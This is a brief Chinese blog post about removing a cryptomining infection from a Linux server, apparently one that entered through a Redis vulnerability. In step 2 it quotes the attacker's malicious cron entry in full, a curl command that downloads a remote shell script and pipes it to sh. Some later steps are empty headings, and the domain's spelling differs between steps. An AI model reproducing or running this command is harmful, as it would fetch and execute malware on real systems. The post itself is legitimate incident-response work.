linux服务器cpu异常升高

1)linux服务器cpu异常升高,甚至飙升到了100%,但是top找不到所占用cpu的进程,怀疑因为redis的漏洞被植入了挖矿病毒

2)发现有异常的定时任务:

*/5 * * * * curl -fsSL http://pw.pwndns.pw/root.sh | sh

 3)通过busybox top 查找相关进程,将该进程kill掉后cpu恢复正常,但过一会又升高

4)进入该进程目录查找文件:

5)进入查找到的文件路径:

6)打开后发现和定时任务中的一样:

7)ping pw.pwndbs.pw 查到ip,将该ip禁掉,或者写入/etc/hosts文件中,再重定向到本地127.0.0.1

8)删掉文件.update和.systemd文件,在kill -9 1201

9)cpu使用率回复正常,并且暂时不再升高,等待后续观察。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值